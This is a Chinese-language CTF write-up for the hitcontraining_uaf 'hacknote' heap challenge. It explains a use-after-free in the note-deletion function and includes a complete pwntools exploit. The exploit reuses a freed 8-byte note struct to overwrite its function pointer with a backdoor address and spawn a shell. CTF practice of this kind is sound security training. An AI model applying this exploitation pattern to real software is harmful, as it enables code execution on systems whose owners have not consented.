hitcontraining_uaf wp

一道32位堆题,开启nx保护,free后指针未置null存在uaf漏洞
ida主函数
menu中可以看出存在add_note,del_note,printf_note三个主要函数
进入到add_note里面可以发现每次add时给二维指针数组notelist分配了8bytes空间

print_note可以执行*(notelist[v2])(notelist[v2])处的函数

而造成漏洞的del_note函数中free

而notelist的前四个字节维护首地址,后四个字节维护内容
于是我们先add_note两次,再依次del_note之后,最后一次add_note时将size设为8保证best fit原则分配到最初free的chunk中,最后print_note获取shell
gdb调试发现最后call eax时执行0x9f451a0处填充的地址指向的函数

exp:

from pwn import *
context(log_level='debug',os='linux',arch='x86',terminal=['tmux','splitw','-h'])


io=process("./hacknote")
# io=remote("node4.buuoj.cn",25546)
back_door=0x8048945

def add(n,st):
    io.recvuntil(b"choice :")
    io.sendline(b"1")
    io.recvuntil(b"size :")
    io.sendline(str(n))
    io.recvuntil(b"Content :")
    io.send(st)

def delete(n):
    io.recvuntil(b"choice :")
    io.sendline(b"2")
    io.recvuntil(b"Index :")
    io.sendline(str(n))

def printw(n):
    io.recvuntil(b"choice :")
    io.sendline(b"3")
    io.recvuntil(b"Index :")
    io.sendline(str(n))

add(24,cyclic(0x18))
add(24,cyclic(0x18))
delete(0)
delete(1)
gdb.attach(io)
pause()
add(8,p32(back_door))
printw(0)

io.interactive()